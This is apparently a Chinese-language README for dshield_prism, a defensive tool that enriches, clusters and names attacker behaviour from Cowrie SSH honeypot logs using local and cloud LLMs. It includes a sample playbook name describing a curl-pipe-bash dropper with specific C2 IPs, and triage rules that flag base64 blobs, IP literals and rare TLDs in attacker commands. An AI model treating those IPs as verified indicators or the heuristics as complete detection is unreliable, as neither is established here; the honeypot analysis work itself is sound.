tonysperez/dshield_prism

GitHub: tonysperez/dshield_prism

一个基于向量嵌入和 LLM 的蜜罐日志离线分析管道,自动去重、富化、聚类 Cowrie SSH 蜜罐数据,帮助安全团队从海量噪音中发掘新颖攻击行为和攻击活动。

Stars: 0 | Forks: 0

# DShield 基于向量的长尾日志分析 向量化噪音。发掘新知。 ## 概述 DShield 蜜罐传感器捕获了大量的攻击者活动,其中大部分是常规扫描和已知载荷噪音。那些有趣的内容(首次出现的技术、小众的侦察活动、不断演进的攻击活动等)通常隐藏在长尾数据中,极易丢失或被遗漏。 本项目增加了一个离线分析层,其功能如下: 1. **读取** 已被摄入到 SecurityOnion 管理的 Elasticsearch 索引中的 DShield 日志(只读,绝不修改原始日志数据)。 2. **去重** 通过对标准化后的事件文本进行哈希处理来过滤重复的载荷。常见的僵尸网络命令会被折叠成一个文档,从而保证长尾数据的独立性。 3. **富化** 使用本地 LLM 处理每个唯一的载荷:攻击描述、MITRE ATT&CK 战术/技术 ID、IOC 提取、意图分类以及自评的置信度分数。 4. **嵌入** 将每个载荷转化为 768 维向量,用于相似性搜索和聚类。 5. **写入** 将结果写入独立的、项目独有的、符合 ECS 标准的索引中;这些数据可被查询、关联回原始日志事件并进行数据透视,同时不会给原始日志带来任何破坏风险。 输出的数据是结构化的、带有时间戳的,并且可以像系统上的其他任何 ECS 数据一样进行查询。目前的适用范围是 Cowrie SSH 蜜罐数据。字段命名空间约定(`dshield..enrichment.*`)旨在将来能够扩展到其他 DShield 日志源。 ## 预期运行环境 - 小型至中型的 DShield 传感器 - 负责处理 SIEM 工作的 SecurityOnion 2.x 设备,且已配置好来自 `es-pipelines/cowrie-pipeline.yml` 的 cowrie 摄入管道(虽然设计用于在 SecurityOnion 上运行,但本程序也应适用于任何 ElasticSearch 技术栈)。 - 配备 GPU 或 NPU 的独立机器(8 GB 显存足以并排运行一个 7B Q4 生成模型和一个 768 维嵌入模型),运行 Ollama 或兼容 OpenAI 的等效服务。 ## 路线图 | 阶段 | 状态 | 增加的功能 | |---|---|---| | **1 - 命令富化 (本地 LLM)** | 已实现 | 针对每个唯一命令的文档,包含描述、意图、MITRE ID、IOC、嵌入和置信度。SQLite 缓存 + 水位标记,支持增量运行 | | **2 - 云端升级** | 已实现 | 选择性地将困难/新颖/低置信度的命令路由到 Claude 以获取更好的标签。设有每日 $$ 预算上限。每个升级文档都会记录分诊原因 | | **3 - 聚类 + 新颖性检测** | 已实现 | 对命令嵌入执行 HDBSCAN 算法;填充 `dshield.cowrie.enrichment.cluster.{id, novelty_score, is_outlier}`。“展示本周所有异常情况”现在只需一次查询。同时也为第二阶段的 `novel_embedding` 分诊规则提供数据 | | **3+ - 更智能的嵌入 + 标量增强** | 已实现 | 嵌入现在是(所有 LLM 调用之后的)最终步骤。嵌入文本包含 LLM 生成的上下文(意图、战术 ID、技术 ID、描述),并作为前缀添加到原始命令之前。四个行为标量(出现次数、唯一源 IP 数、LLM 置信度、会话复用率)将作为一个加权块附加到 HDBSCAN 矩阵中。缓存键中自动派生的 `embed_config_hash`(无需手动更新版本);`reembed` 命令可在不重新运行 LLM 的情况下刷新向量。 | | **4 - 会话 + IP 汇总、聚类、剧本命名、攻击活动挖掘** | 已实现 | 每个已完成的会话对应一个文档(平均池化的命令嵌入、行为统计、聚类 ID、新颖性分数)。每个源 IP 对应一个文档(跨会话聚合、独立的嵌入 + 聚类)。LLM 为每个会话聚类命名——即一个**剧本 (playbook)**——附带一个简短的标签("XMRig 挖矿木马释放器"、"Mirai 僵尸网络变种"等)。随后,通过频繁项集 + 共享特征挖掘器识别出跨越多个剧本/IP 的多会话**攻击活动 (campaigns)**。详见 [`docs/PLAYBOOKS_AND_CAMPAIGNS.md`](docs/PLAYBOOKS_AND_CAMPAIGNS.md)。 | | **5 - 评估 + 监控** | 计划中 | 人工标注的回归测试集;每周对照真实情况进行 F1 评估;结构化的工作日志写入 ES;针对预算/漂移/失败率的告警 | ## 快速入门 在 SecurityOnion 设备上的**首次安装**(填写完 `.env` + `config/local.yaml`,并按照[步骤 1](#1-gpu-box--install-your-llm-server) 启动 LLM 服务器之后): ``` sudo bash scripts/setup-security-onion-node.sh ``` 该脚本将处理用户创建、部署到 `/opt/dshield_prism`、虚拟环境创建与安装、健康检查、索引创建以及 systemd 服务启用。它是完全幂等的——在修复任何问题后安全地重新运行即可。有关可用标志,请参阅[自动化设置](#automated-setup-script)。如需手动逐步操作(或想了解脚本的具体执行内容),请参阅[设置指南](#setup-guide--step-by-step)。 **日常 / 常规使用:** ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli healthcheck sudo -u dshield_prism .venv/bin/python -m enrich.cli enrich --dry-run sudo -u dshield_prism .venv/bin/python -m enrich.cli enrich ``` **恢复 / 重新扫描所有内容:** ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli reset --yes sudo -u dshield_prism .venv/bin/python -m enrich.cli enrich ``` **调查控制台。** 一个独立的、只读的浏览器 GUI 位于 [`console/`](console/) 中。它读取此管道写入的相同 Elasticsearch 索引,允许您搜索任何 IOC(IP、会话 ID、命令 sha256、剧本名称、攻击活动名称、MITRE ID 等)并在生成的图谱中进行数据透视。安装和运行说明详见:[`console/README.md`](console/README.md)。 ## 系统架构 ``` +-------------------------+ +---------------------------------+ | GPU box | | SecurityOnion box | | Ollama OR LM Studio | <----- | dshield_prism | | - 7B instruct model | (LAN) | (this project) | | - 768-dim embed model | | - systemd timer | +-------------------------+ | - SQLite state | | - reads SO events | | - writes enriched ix | +---------------------------------+ | v +---------------------------------+ | Elasticsearch (SO) | | read: logs-...cowrie...-* | | write: enriched / rollup / | | clusters indexes | +---------------------------------+ ``` 工作进程仅从 SO 管理的 Cowrie 事件索引中**读取**数据。所有富化、汇总和聚类数据都被写入独立的、项目独有的索引中(每个数据源六个:commands、command-clusters、sessions、session-clusters、IPs、IP-clusters)。 ## 仓库内容 | 路径 | 用途 | |---|---| | `pyproject.toml` | Python 包及依赖项(第 3 阶段及以上需要 `[cluster]` 附加选项) | | `config/default.yaml` | 默认工作进程配置(已提交至版本控制) | | `config/local.yaml.example` | 每次部署的覆盖配置模板——复制为 `local.yaml`(已被 git 忽略) | | `config/prompts/command_enrichment.txt` | 本地 LLM 命令分类提示词 | | `config/prompts/command_deep_dive.txt` | 升级期间使用的云端 LLM 深度分析提示词 | | `config/prompts/playbook_name.txt` | 用于为每个会话聚类剧本命名的 LLM 提示词 | | `src/enrich/` | Python 包:包含 `cli`、`config`、`cache`、`es_client`、`clustering`、`healthcheck`、`triage`、`llm/{ollama,openai_compat,anthropic,schemas}`,以及 `sources/cowrie/{commands,sessions,ips,campaigns}.py`(每一层对应一个模块) | | `es-mappings/cowrie/commands.json` | 命令级富化索引的设置及符合 ECS 标准的映射 | | `es-mappings/cowrie/command_clusters.json` | 命令聚类中心点索引的设置与映射(第 3 阶段) | | `es-mappings/cowrie/sessions.json` | 会话汇总索引的设置与映射(第 4 阶段) | | `es-mappings/cowrie/session_clusters.json` | 会话聚类中心点索引的设置与映射(第 4 阶段) | | `es-mappings/cowrie/ips.json` | IP 汇总索引的设置与映射(第 4b 阶段) | | `es-mappings/cowrie/ip_clusters.json` | IP 聚类中心点索引的设置与映射(第 4b 阶段) | | `es-mappings/cowrie/campaigns.json` | 多会话攻击活动索引的设置与映射(由 `mine campaigns` 挖掘) | | `es-dashboards/command-enrichment-dashboard.ndjson` | 可导入的 Kibana 仪表板:命令富化(第 1-3 阶段) | | `es-dashboards/session-analysis.ndjson` | 可导入的 Kibana 仪表板:会话行为分析(第 4 阶段) | | `console/` | 独立的、只读调查 GUI(FastAPI + Cytoscape.js)——详见 [`console/README.md`](console/README.md) | | `docs/pipeline.md` | 完整的富化/汇总/聚类管道的 Mermaid 流程图 | | `docs/PLAYBOOKS_AND_CAMPAIGNS.md` | 针对原始数据流之上两个高层级抽象的参考文档 | | `systemd/dshield_prism-forward.service` + `.timer` | **每 30 分钟**执行一次的单次任务,水位驱动:`healthcheck --scope llm`(遇严重错误则失败)→ `enrich` → `rollup sessions` → `rollup ips`。即“前向处理”——仅处理新数据。 | | `systemd/dshield_prism-backward.service` + `.timer` | **每 6 小时**执行一次的单次任务,全量语料刷新:`re-enrich-stale` → `reembed` → `reset --session-watermark --ip-watermark` → `rollup sessions` → `rollup ips` → `cluster commands` → `cluster sessions` → `cluster ips` → `escalate` → `name playbooks` → `mine campaigns`。即“后向处理”——用于捕获配置漂移并刷新下游产物。通过 `flock /var/lib/dshield_prism/.lock` 与前向处理串行执行。 | | `scripts/setup-security-onion-node.sh` | 一键式、幂等的 SO 节点安装脚本 | | `.env.example` | 密钥模板(复制为 `.env` 使用) | | `.gitignore` | 排除 `.env`、`config/local.yaml`、`config/local.yml`、`*.sqlite`、`__pycache__` | ## CLI 命令 所有命令均以服务用户身份在安装目录下运行: ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli ``` CLI 按层级将动词分组:` [] [--source ]`。每个带有层级参数的动词都接受 `--source` 选项(默认为 `cowrie`),因此未来添加新的传感器只需在 `sources//` 目录下添加同级模块,而无需增加新的动词。 | 子命令 | 功能描述 | |---|---| | `healthcheck` | 验证 ES + LLM 服务器 + 模型 + SQLite + 云端状态。失败时以非零状态退出。 | | `healthcheck --scope ` | 运行部分检查。以逗号分隔;有效值包括:`es`、`llm`、`sqlite`、`cloud-conn`、`cloud` 或 `all`(默认)。**默认 / `all` 会运行“廉价”的云端检查(`cloud-conn`)**——即对 Anthropic 执行 `GET /v1/models` 调用,不产生任何生成 token——因此脚本、计时器和安装运行器可以在不消耗预算的情况下调用 `healthcheck`。完整的 `cloud` 范围(约 16 个 token 的往返 + 预算读取)**仅限用户排错时选择使用**:`healthcheck --scope cloud`。输出由 `[ok]` / `[warn]` / `[FAIL]` 等行及汇总组成,适合用作 `ExecStartPre` 的门控条件——systemd 单元使用了 `--scope llm`,因此只有当本地 LLM 宕机时才会阻止 `enrich` 运行。云端可达性会在 `enrich` 内部预先检查(Anthropic `ping`);如果失败,运行将降级为仅使用本地模型并记录一条警告,而不是直接报错中止。 | | `init-indexes` | 使用来自 `es-mappings//*.json` 的显式 ECS 设置和映射,对数据源(默认为 `cowrie`)执行每个索引的 `PUT` 操作。该操作是幂等的——对已存在的索引不产生任何影响。 | | `init-indexes --layer ` | 初始化单个层级。有效层级包括:`commands`、`command_clusters`、`sessions`、`session_clusters`、`ips`、`ip_clusters`、`campaigns`。 | `init-indexes --update-mapping` | 如果索引已存在,则推送**附加的**映射变更(新字段)。不能更改现有字段的类型。可与 `--layer` 组合使用以限定范围。 | | `enrich` | 第 1 阶段:执行一次富化过程——读取新的命令事件、去重、LLM 分类、嵌入、批量写入、推进命令水位。 | | `enrich --dry-run` | 读取并分组事件,打印统计信息;跳过 LLM 调用和写入操作。 | | `enrich --no-cloud` | 在此次运行中强制禁用第 2 阶段的云端升级,即使配置中 `cloud.enabled=true`。 | | `enrich --ignore-config-hash` | 对 `worker.cache_auto_invalidate` 进行单次运行的覆盖。在修改了 prompt/cooccurrence 配置时,仍将缓存视为有效。当 LLM 预算紧张时非常有用。在 `reembed` 和 `pipeline` 命令中也有相同的标志。 | | `bless-cache` | 为所有遗留的缓存行(即缺少 `llm_config_hash` 或 `embed_config_hash` 的行)盖上当前自动派生哈希的时间戳,以便下次 `enrich` 在当前活跃配置下将它们视为最新数据。属于一次性管理员操作——适用于在部署了影响哈希的更改后,且已知现有缓存富化结果仍然正确的情况下使用。使用 `--dry-run` 可查看哪些行将被标记。 | | `cluster commands` | 第 3 阶段:拉取所有命令嵌入,运行 HDBSCAN 算法,计算新颖性分数,批量更新每个命令文档上的聚类字段,并将中心点文档写入 command-clusters 索引。 | | `cluster sessions` | 第 4 阶段:对会话嵌入(增加了会话级标量增强)运行 HDBSCAN 算法。将 `dshield.cowrie.enrichment.session.cluster.*` 写入每个会话文档,并将中心点文档写入 session-clusters 索引。需要安装 `.[cluster]` 附加依赖。 | | `cluster ips` | 第 4b 阶段:对 IP 嵌入(增加了 IP 级标量增强)运行 HDBSCAN 算法。标量矩阵包含两个子块:**行为**(包含 `total_sessions`、`login_success_rate`、`mean_novelty_score`、`mean_session_duration_s`,权重设为 `ip.cluster_scalar_weight=0.05`)和**归属**(包含国家独热编码 + Top-N ASN 分桶 + 凭据哈希,权重设为 `ip.cluster_attribution_weight=0.10`)。归属标量可以防止来自不同 ASN 但运行相同 Mirai 变种的僵尸主机被聚为一类。将 `dshield.cowrie.enrichment.ip.cluster.*` 写入每个 IP 文档,并将中心点文档写入 IP-clusters 索引。需要安装 `.[cluster]` 附加依赖。路线图议题 #8。 | | `cluster --dry-run` | 获取数据并进行聚类,但不向 ES 写入任何内容。打印统计信息(`n_clusters`、`n_outliers`、运行时间)。 | | `reembed` | 使用存储的富化字段(意图、战术、技术、描述)重新嵌入所有命令文档——不进行 LLM 生成。适用于在更改了 `llm.embed_context`、`llm.embedding_model` 或 `cooccurrence.embed_cooccurrence`(任何影响 `embed_config_hash` 但不影响 LLM 端的配置)之后使用。预先批量加载已缓存的哈希,并**跳过存储的 `embed_config_hash` 已与当前配置匹配的文档**——当没有任何更改时运行 `reembed` 几乎是空操作。仅更新每条缓存记录中的 `embed_config_hash`——`llm_config_hash` 会被保留,因此过期的 LLM 提示词不会通过纯嵌入刷新被暗中标记为有效。之后执行 `cluster commands` 可根据新向量重建中心点。 | | `re-enrich-stale` | `reembed` 在 LLM 端的镜像操作。遍历 commands 索引,查找 `llm_config_hash` 过期的缓存行(例如在修改提示词之后),使用当前的提示词 + 同级块重新调用**本地** LLM,并修补文档的意图/战术/技术/描述/置信度/IOC/嵌入。跳过哈希已与当前配置匹配的记录——当没有任何变化时,这是一种廉价的空操作。当提示词或 LLM 端的共现配置发生实际漂移时,会对每条过期记录消耗 LLM 计算时间。不会触发云端升级——`escalate` 是一个独立的步骤,用于在重新富化后提取新颖/低置信度的文档。 | | `reembed --dry-run` | 统计将被重新嵌入的文档数量,但不调用嵌入模型且不写入 ES。 | | `escalate` | 将 `novelty_score ≥ novel_embedding_threshold` 且 `novel_confidence_min ≤ confidence ≤ escalate_confidence_max` 的本地富化文档进行云端升级。置信度下限用于过滤掉编码伪影噪音(原始字节的新颖性分数为 1.0,置信度为 1)——这些已经由 `low_confidence` 规则处理,无需重复计算。直接查询 ES——没有水位或缓存——因此它能捕获任何先前运行中富化的文档。已经完成云端富化的文档永远不会被重复升级。请在每次执行完 `cluster commands` 之后运行。 | | `escalate --dry-run` | 统计同时满足两个过滤条件的候选数量,但不发起云端调用或写入操作。 | | `rollup sessions` | 第 4 阶段:对于自会话水位以来每个已完成的会话(触发了 `cowrie.session.closed` 事件),聚合该会话的所有事件,并与命令富化文档关联,将命令嵌入平均池化为一个会话嵌入,然后为每个会话写入一个文档到 sessions-rollup 索引。幂等操作——会话的索引键为 `_id = session_id`。如果会话中包含尚未富化的命令,则会写入一个部分文档(无嵌入),并在下一次 `enrich` 处理完其命令后自动更新。 | | `rollup ips` | 第 4b 阶段:增量操作——查找自上次运行以来会话发生变化的 IP,然后获取每个受影响 IP 的所有会话,并构建一个 IP 汇总文档(平均池化的会话嵌入、聚合的行为统计、来自会话文档的地理位置/ASN 信息)。幂等操作——IP 文档的索引键为 `_id = source.ip`。需要先运行 `rollup sessions`。 | | `rollup --dry-run` | 统计汇总候选数量但不写入文档。 | | `name playbooks` | 对非异常的会话聚类(每个代表一个**剧本**)进行两次命名。**第一轮**:每个聚类通过本地 LLM 获得一个名称,此时不知道其他聚类的信息。**第二轮**(路线图 #10):如果任何第一轮名称发生冲突——无论是在本次运行内部还是与之前任何运行中已命名的剧本冲突——LLM 将针对每个冲突组并排展示所有冲突项被重新提示,并要求生成能够捕捉实质性差异(IOC、意图、工具、行为特征)的独特名称。输出类似于 `curl Pipe Bash Dropper via 47.83.203.183 C2` 对比 `curl Pipe Bash Dropper via 43.161.230.246 C2`,而不是简单的添加后缀。第二轮会安全降级:如果 LLM 不可用、返回无法解析的 JSON,或者生成的新名称仍然冲突,则保留第一轮的名称。在配置中设置 `prompts.playbook_disambiguate: null` 可完全禁用第二轮。将 `playbook_id` + `playbook_name` 写入 session-clusters 中心点,并回填到每个成员会话文档。 | | `name playbooks --dry-run` | 显示候选聚类和命令样本,但不调用 LLM。 | | `name playbooks --force` | 对已有 `playbook_name` 的聚类重新命名。 | | `mine campaigns --kind {behaviour\|infrastructure\|all}` | 发现多会话攻击活动。`behaviour` 对每个 IP 的剧本集合运行 FP-growth 风格的频繁项集挖掘;`infrastructure` 通过共享特征(来自原始 cowrie 事件的 URL/SSH 密钥/文件哈希)构建会话-会话关系图,并将每个连通分量作为一个攻击活动输出。写入 `campaigns-dshield.cowrie-default` 索引。详见 [`docs/PLAYBOOKS_AND_CAMPAIGNS.md`](docs/PLAYBOOKS_AND_CAMPAIGNS.md)。 | | `mine campaigns --dry-run` | 执行挖掘并报告统计信息,但不写入攻击活动文档。 | | `pipeline` | 按顺序运行每个处理阶段——`enrich` → `rollup sessions` → `cluster commands` → `escalate` → `cluster sessions` → `name playbooks` → `rollup ips` → `cluster ips` → `mine campaigns`。可选步骤(escalate/name/mine)容许失败;必选步骤若失败则会中止整个链条。`--continue-on-error` 将容错范围扩展到每一个步骤。`--no-cloud` 标志会传递给 `enrich`。 | | `pipeline --force --yes` | **破坏性操作。** 在运行之前,会删除所有已处理的 ES 索引(commands、command_clusters、sessions_rollup、session_clusters、ips_rollup、ip_clusters、campaigns),根据映射重新创建它们,并清空 SQLite 缓存和水位。原始的 `sessions_raw` 索引将被保留。使用 `--yes` 可跳过确认提示。 | | `pipeline --dry-run` | 打印步骤计划,并向每个步骤传递 `--dry-run` 标志。如果带有 `--force`,还会打印将被清除的内容,但不会实际执行清除。 | | `budget` | 打印今日的云端 LLM 花费、每日上限、调用次数和 token 总计(第 2 阶段)。 | | `reset` | 清除本地 SQLite 状态。默认(无标志):清除缓存及所有水位。可组合使用的标志:`--cache`、`--watermark`(所有水位)、`--all`(默认的同义词)、`--session-watermark`(仅会话汇总键)、`--ip-watermark`(仅 IP 汇总键)、`--yes`(跳过确认)。后向 systemd 处理正是使用这些特定的水位标志,在 `reembed` 更改了上游命令嵌入后强制执行一次完整的重新汇总——它们是幂等的,且不会触及 ES。 | **剧本命名仅使用本地 LLM。** `name playbooks` 针对本地 LLM 调用 `generate_json(prompt, ...)`,无论 `cloud.enabled` 设置如何,都绝不会升级到云端。原因:输出只有 3-5 个词,并且跨运行的一致性比每次调用的质量更重要。提示词模板为:`config/prompts/playbook_name.txt`。多会话的 `mine campaigns` 步骤是纯算法执行的——不涉及任何 LLM。 ## 自动化安装脚本 `scripts/setup-security-onion-node.sh` 会执行以下手动指南中的步骤 2 到 9。 运行前的**前置条件**: - 源代码文件夹已位于 SO 设备上(任何路径均可)。 - 已填写 `config/local.yaml`(或 `local.yml`)。 - 已填写 `.env` 文件。 - 从本设备可以访问到 GPU 端的 LLM 服务器(步骤 1)。 **运行:** ``` sudo bash scripts/setup-security-onion-node.sh ``` **可用标志:** | 标志 | 作用 | |---|---| | `--no-systemd` | 跳过安装/启用计时器 | | `--skip-healthcheck` | 在健康检查失败时继续执行(不推荐) | | `--skip-init-index` | 不运行 `init-indexes` | | `-h` / `--help` | 打印内嵌的使用帮助信息 | **环境变量覆盖:** | 变量 | 默认值 | |---|---| | `SERVICE_USER` | `dshield_prism` | | `INSTALL_DIR` | `/opt/dshield_prism` | | `STATE_DIR` | `/var/lib/dshield_prism` | | `SYSTEMD_DIR` | `/etc/systemd/system` | | `PYTHON_BIN` | `python3` | 该脚本是幂等的——在编辑配置或修复健康检查失败后,可以直接重新运行它。 第一次富化和聚类运行**不会**由脚本触发(对于积压数据,富化可能需要数小时)。请手动运行它们: ``` sudo -u dshield_prism /opt/dshield_prism/.venv/bin/python \ -m enrich.cli enrich --dry-run sudo -u dshield_prism /opt/dshield_prism/.venv/bin/python \ -m enrich.cli enrich # 首次成功 enrich 后,初始化 cluster 索引: sudo -u dshield_prism /opt/dshield_prism/.venv/bin/python \ -m enrich.cli cluster sudo -u dshield_prism /opt/dshield_prism/.venv/bin/python \ -m enrich.cli escalate # only if cloud.enabled=true ``` ## 设置指南 — 逐步操作 ### 0. 前置条件 - 一台可以通过 LLM 服务器端口从 SecurityOnion (SO) 设备访问到的 GPU 机器。 - 拥有 Shell 访问权限的 SecurityOnion 2.x 设备。 - SO 设备上已安装 Python 3.11+。 一个对 Cowrie 事件索引模式具有 `read` 权限,且对每个项目拥有的索引具有 `manage`/`read`/`write` 权限的 Elasticsearch 用户(默认索引包括:`enriched-dshield.cowrie.command-default`、`clusters-dshield.cowrie.command-default`、`rollup-dshield.cowrie.session-default`、`clusters-dshield.cowrie.session-default`、`rollup-dshield.cowrie.source_ip-default`、`clusters-dshield.cowrie.source_ip-default`)。最简单的授权方式是对 `enriched-dshield.cowrie.*`、`rollup-dshield.cowrie.*`、`clusters-dshield.cowrie.*` 授予 `manage`/`read`/`write` 权限。 - 您 SO 部署中实际的 Cowrie 事件索引名称(在步骤 5 中查找)。 ### 1. GPU 机器 — 安装 LLM 服务器 该工作进程目前通过 `llm.provider` 配置字段同时兼容 ollama 和 OpenAI。 #### 选项 A — Ollama `local.yaml` 配置片段: ``` llm: provider: "ollama" base_url: "http://GPU_IP:11434" generation_model: "qwen2.5:7b-instruct-q4_K_M" embedding_model: "nomic-embed-text" ``` #### 选项 B — LM Studio 1. 加载一个 7B 级别的指令模型(例如 `qwen2.5-7b-instruct`)和一个 **768 维**的嵌入模型(例如 `text-embedding-nomic-embed-text-v1.5`)。 2. Server 标签页 → 启用,绑定到 `0.0.0.0`,记录端口号。 3. 冒烟测试:`curl http://GPU_IP:PORT/v1/models` `local.yaml` 配置片段: ``` llm: provider: "openai_compat" base_url: "http://GPU_IP:PORT" generation_model: "qwen2.5-7b-instruct" embedding_model: "text-embedding-nomic-embed-text-v1.5@q8_0" # api_key: "lm-studio" # only if "Require API Key" is enabled ``` ### 2. SO 设备 — 创建工作进程用户 ``` sudo useradd --system --home /opt/dshield_prism --shell /usr/sbin/nologin dshield_prism sudo mkdir -p /opt/dshield_prism /var/lib/dshield_prism sudo chown -R dshield_prism:dshield_prism /opt/dshield_prism /var/lib/dshield_prism ``` ### 3. SO 设备 — 部署此文件夹 将此仓库克隆到您的 SecurityOnion 节点的 `/opt/dshield_prism` 目录下。 ### 4. SO 设备 — Python 虚拟环境 + 安装 ``` cd /opt/dshield_prism sudo -u dshield_prism python3 -m venv .venv sudo -u dshield_prism .venv/bin/pip install --upgrade pip sudo -u dshield_prism .venv/bin/pip install -e . ``` ### 5. SO 设备 — 配置 所有每次部署的独立配置值(LLM URL、ES 主机、索引名称、路径)都保存在 `config/local.yaml`(已被 Git 忽略)中。`config/default.yaml` 提供了安全的默认值;`local.yaml` 会通过深度合并的方式覆盖它们。加载器同样接受 `local.yml` 作为文件名。机密信息保存在 `.env` 中。 ``` cd /opt/dshield_prism sudo -u dshield_prism cp config/local.yaml.example config/local.yaml sudo -u dshield_prism cp .env.example .env # 至少设置:llm.{provider,base_url}, elasticsearch.indexes.cowrie.sessions_raw sudo -u dshield_prism $EDITOR config/local.yaml # 设置 ES 凭证 (ES_USERNAME/ES_PASSWORD 或 ES_API_KEY) sudo -u dshield_prism $EDITOR .env sudo chmod 600 .env config/local.yaml ``` 请勿编辑 `config/default.yaml` 来修改部署值——该文件由版本控制系统跟踪。请一律在 `local.yaml` 中进行覆盖。 ### 6. SO 设备 — 创建富化索引 CLI 会使用来自 `es-mappings//*.json` 的显式 ECS 设置和映射,对每个数据源的六个层级执行简单的 `PUT ` 操作。索引名称源自您配置中的 `elasticsearch.indexes.cowrie.*`;默认值记录在 `config/default.yaml` 中。 ``` # 一次性为 cowrie 源创建全部六个索引。 sudo -u dshield_prism .venv/bin/python -m enrich.cli init-indexes # -> [{"index_created": "", "layer": "commands", ...}, ...] # 重复运行是幂等的 — 已经存在的索引将返回 action: "noop"。 ``` 如需初始化单个层级(例如,您只需要第 1 阶段的功能时): ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli init-indexes --layer commands ``` 对于破坏性的映射更改(更改字段类型——例如将 `confidence` 从 float 改为 byte),请删除并重新创建受影响的索引: ``` curl -k -u admin:PWD -X DELETE 'https://localhost:9200/' sudo -u dshield_prism .venv/bin/python -m enrich.cli init-indexes --layer commands sudo -u dshield_prism .venv/bin/python -m enrich.cli reset --yes ``` 当无法使用 CLI 时的手动 / curl 替代方案: ``` curl -k -u admin:PWD \ -X PUT 'https://localhost:9200/' \ -H 'Content-Type: application/json' \ --data-binary @es-mappings/cowrie/commands.json ``` ### 7. SO 设备 — 健康检查 ``` sudo -u dshield_prism .venv/bin/python -m enrich.cli healthcheck ``` 预期输出(全部为 `[ok]`): ``` [ok] ES 8.x.y at https://localhost:9200 [ok] enrichment index exists: [ok] events index '' has N docs [ok] LLM (openai_compat) at http://GPU_IP:PORT [ok] model present: [ok] model present: [ok] embedding works (dim=768) [ok] SQLite writable at /var/lib/dshield_prism/state.sqlite, watermark=None All checks OK ``` 如果出现 `[FAIL] embedding dim X != 768`:请选择一个 768 维的嵌入模型,或者修改 `es-mappings/cowrie/commands.json` 中的 `dense_vector.dims` 并重新创建索引。在继续之前请修复所有的失败项。 ### 8. 第一次手动运行(dry-run + 实际运行) ``` # Dry-run:读取事件,计算哈希,但跳过 LLM + 写入 sudo -u dshield_prism .venv/bin/python -m enrich.cli enrich --dry-run # 实际运行 — 回填所有历史命令事件 sudo -u dshield_prism .venv/bin/python -m enrich.cli enrich ``` 首次运行可能需要数小时,具体取决于历史数据量和唯一命令的数量。结束时将打印统计信息: ``` { "events_seen": 18234, "unique_commands": 412, "cache_miss": 412, "enriched_ok": 408, "enriched_failed": 4, "bulk_ok": 412 } ``` 随后的运行只会看到水位标记之后的新事件,并且对于重复项会命中缓存。 ### 9. 安装 + 启用 systemd 定时器 仓库中提供了两个定时器。两者的复制和启用方式完全相同: ``` sudo cp /opt/dshield_prism/systemd/dshield_prism-forward.service /etc/systemd/system/ sudo cp /opt/dshield_prism/systemd/dshield_prism-forward.timer /etc/systemd/system/ sudo cp /opt/dshield_prism/systemd/dshield_prism-backward.service /etc/systemd/system/ sudo cp /opt/dshield_prism/systemd/dshield_prism-backward.timer /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable --now dshield_prism-forward.timer dshield_prism-backward.timer # 验证 systemctl list-timers 'dshield_prism-*.timer' journalctl -u dshield_prism-forward.service -n 200 --no-pager journalctl -u dshield_prism-backward.service -n 200 --no-pager ``` 这两个单元通过 `flock /var/lib/dshield_prism/.lock` 串行化——无论哪个后触发,都会被阻塞在锁上,直到先触发的完成,因此它们绝不会互相干扰。 ### 10. Kibana 快速检查 在 Kibana 中,添加一个与 `elasticsearch.indexes.cowrie.commands` 匹配的索引模式(默认为 `enriched-dshield.cowrie.command-default*`,时间字段为 `@timestamp`)。 示例查询(KQL): - `dshield.cowrie.enrichment.intent : "cryptomining"` —— 顶级的挖矿木马释放器 - `dshield.cowrie.enrichment.confidence <= 5` —— 低置信度(第 2 阶段升级候选) - `threat.technique.id : "T1059.004"` —— Unix shell 执行 - `threat.framework : "MITRE ATT&CK" and threat.tactic.id : "TA0011"` —— C2 流量 - 按 `dshield.cowrie.enrichment.occurrence_count desc` 排序 —— 排名前 N 的常规载荷 - IOC 透视(嵌套):`threat.indicator : { type : "url" }` 然后深入查看 `threat.indicator.url.full` ## 第 2 阶段 — 启用云端升级 默认关闭。第 1 阶段必须已经在运行并生成文档。要开启此功能: 1. **获取 Anthropic API 密钥** 并将其添加到 `.env` 中: ANTHROPIC_API_KEY=sk-ant-... 2. **在 `config/local.yaml` 中开启云端选项**: cloud: enabled: true # model: "claude-sonnet-4-6" # daily_budget_usd: 5.0 3. **推送附加映射**,以确保 `triage_reasons`、`notes` 和 `local_fallback.*` 存在于 commands 索引中: sudo -u dshield_prism .venv/bin/python -m enrich.cli init-indexes --update-mapping --layer commands 4. 如果您希望以前缓存的命令能够重新通过新的分诊路径进行评估:可以运行 `reset --cache --yes` 清除缓存,或者编辑提示词文件(自动派生的 `llm_config_hash` 将在下次 `enrich` 时使所有缓存行失效)。 5. **健康检查**——确认 Anthropic 的可达性及预算状态: sudo -u dshield_prism .venv/bin/python -m enrich.cli healthcheck 6. 像往常一样**运行**。经过一次处理后,`enrich` 会返回额外的统计信息:`triaged`、`cloud_calls`、`cloud_input_tokens`、`cloud_output_tokens`、`cloud_cost_usd`、`cloud_skipped_budget`。每日的花费也可以通过以下命令查询: sudo -u dshield_prism .venv/bin/python -m enrich.cli budget **分诊规则**(触发任意规则即进行升级;记录在 `dshield.cowrie.enrichment.triage_reasons` 中): | 规则代码 | 触发条件 | |---|---| | `low_confidence<=N` | 本地模型的 `confidence` 达到或低于 `cloud.triage.confidence_max` | | `local_failed` | 本地 LLM 两次返回无效 JSON | | `base64_blob` | 命令中包含长度达到或超过 `cloud.triage.base64_min_run` 个字符的疑似 base64 编码片段 | | `ip_literal` | 命令中出现了 IPv4 字面量 | | `rare_tld` | 命令中的域名使用了列在 `cloud.triage.suspicious_tlds` 中的顶级域 (TLD) | | `novel_embedding` | 第 3 阶段:由 `escalate` 命令(而非 `enrich`)触发——在 ES 中查询已存储的 `novelty_score` 大于等于 `cloud.triage.novel_embedding_threshold`,且 `confidence` 处于 `[novel_confidence_min, escalate_confidence_max]` 范围内的本地富化文档,然后对它们重新进行升级。置信度下限用于过滤掉编码伪影文档(原始字节等),因为它们的新颖性信号是无意义的。在执行 `enrich` 期间,嵌入始终是最后一步(在所有 LLM 调用之后),因此在富化时不会计算新颖性距离 | | `sample` | 按照随机的 `cloud.triage.sample_rate` 比例(默认 1%)抽取——用于质量监控 